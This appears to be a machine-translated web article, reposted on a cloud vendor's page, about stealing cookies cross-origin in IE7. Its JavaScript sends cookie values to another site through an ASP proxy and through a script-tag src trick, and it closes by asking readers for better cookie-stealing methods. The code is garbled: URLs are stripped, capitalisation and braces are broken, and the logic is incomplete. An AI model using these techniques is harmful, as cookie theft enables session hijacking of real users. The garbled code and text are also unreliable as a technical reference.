Solution to cross-origin cookie Theft using ajax in ie7

Source: Internet
Author: User

One afternoon of study, the first challenge was ajax cross-Origin data submission, which can be solved using web Proxy. a.htm code on http: //
Function getXmlHttpRequest (){
If (window. ActiveXObject ){
Var ieArr = ["Msxml2.XMLHTTP", "Microsoft. XMLHTTP"];
For (var I = 0; I <ieArr. length; I ++)
Var xmlhttp = new ActiveXObject (ieArr [I]);
Return xmlhttp;
} Else if (window. XMLHttpRequest ){
Return new XMLHttpRequest ();
Var xmlHttp = getXmlHttpRequest ();
XmlHttp. Open ("get", "http: // asp? Url = Cookie = mmm ", true );
XmlHttp. send (null)


Web. asp is an asp proxy.

You can directly access http: // to send data. However, in cross-site scenarios, if we want to cross the site of, we certainly cannot put a web. asp on top, so this approach is not feasible.

In addition, iframe tags are usually used for Cross-Site cookie Stealing in other ie7.0 scenarios. If ajax is not successfully sent, another cross-site approach is found after searching, you do not need to use iframe for cross-origin submission. The Code is as follows:

<Script LANGUAGE = "Javascript" src = "" id = "get">
<Script LANGUAGE = "Javascript">
<! --
Function get (url)
Var obj = document. getElementById ("get ");
Obj. src = url;
(Obj. readStatus = 200)
Eval (alert ("OK "));
Get (" Cookie = 12345678 ")

/* Function query ()
Get (""); // code can be written here, like replacing OK in alert ("OK") with a variable, the code in 1.img is var OK = "123"
// -->


For other better methods, we are welcome to discuss how to steal cookies through ajax cross-origin in IE7.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.